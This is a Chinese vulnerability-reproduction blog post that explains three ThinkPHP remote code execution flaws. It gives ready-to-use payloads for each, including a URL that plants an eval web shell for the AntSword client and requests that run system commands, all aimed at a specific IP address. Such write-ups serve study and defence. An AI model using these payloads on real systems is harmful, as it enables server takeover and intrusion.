漏洞复现-thinkphp2-RCE+5.0.23-RCE+5-RCE远程代码执行漏洞

目录

一、2-RCE

漏洞详情

1.构造poc?s=/a/b/c/${phpinfo()}

2. 使用蚁剑连接地址为:

二、5-RCE

漏洞原因:

1,访问

三、5.0.23-RCE

漏洞原因

1.利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击:


一、2-RCE

漏洞详情

导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞

preg_replace(‘正则规则’,‘替换字符’,‘目标字符’)

如果目标字符存在符合正则规则的字符,那么就替换为替换字符,如果此时正则规则中使用了/e这个修饰符,则存在代码执行漏洞。

e配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式执行;/e可执行模式,此为PHP专有参数,例如preg_replace函数。

implode(depr,paths)作用就是把路径当作参数放进了数组$depr里面

${@phpinfo()}

作为变量输出到了页面显示,其原理,我通过freebuf总结一下:

在PHP当中,${}是可以构造一个变量的,{}写的是一般的字符,那么就会被当成变量,比如${a}等价于$a

1.构造poc?s=/a/b/c/${phpinfo()}

2. 使用蚁剑连接地址为:

http://139.198.124.92:8080/index.php?s=a/b/c/${eval($_POST[1])}

成功getshell。

二、5-RCE

漏洞原因:

ThinkPHP其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

1,访问

mzhttp://139.198.124.92:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=pwdjj

 即可执行命令。

三、5.0.23-RCE

漏洞原因

攻击者可向缓存文件内写入PHP代码,导致远程代码执行。虽然该漏洞利用需要有几个前提条件,但鉴于国内使用ThinkPHP框架的站点数量之多,该漏洞还是存在一定的影响范围。由于框架对控制器名没有进行足够的检测会导致在没有开启强制路由的情况下可能的getshell漏洞。

1.利用system函数远程命令执行,利用bp抓包,修改请求方式,使用poc进行攻击:

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值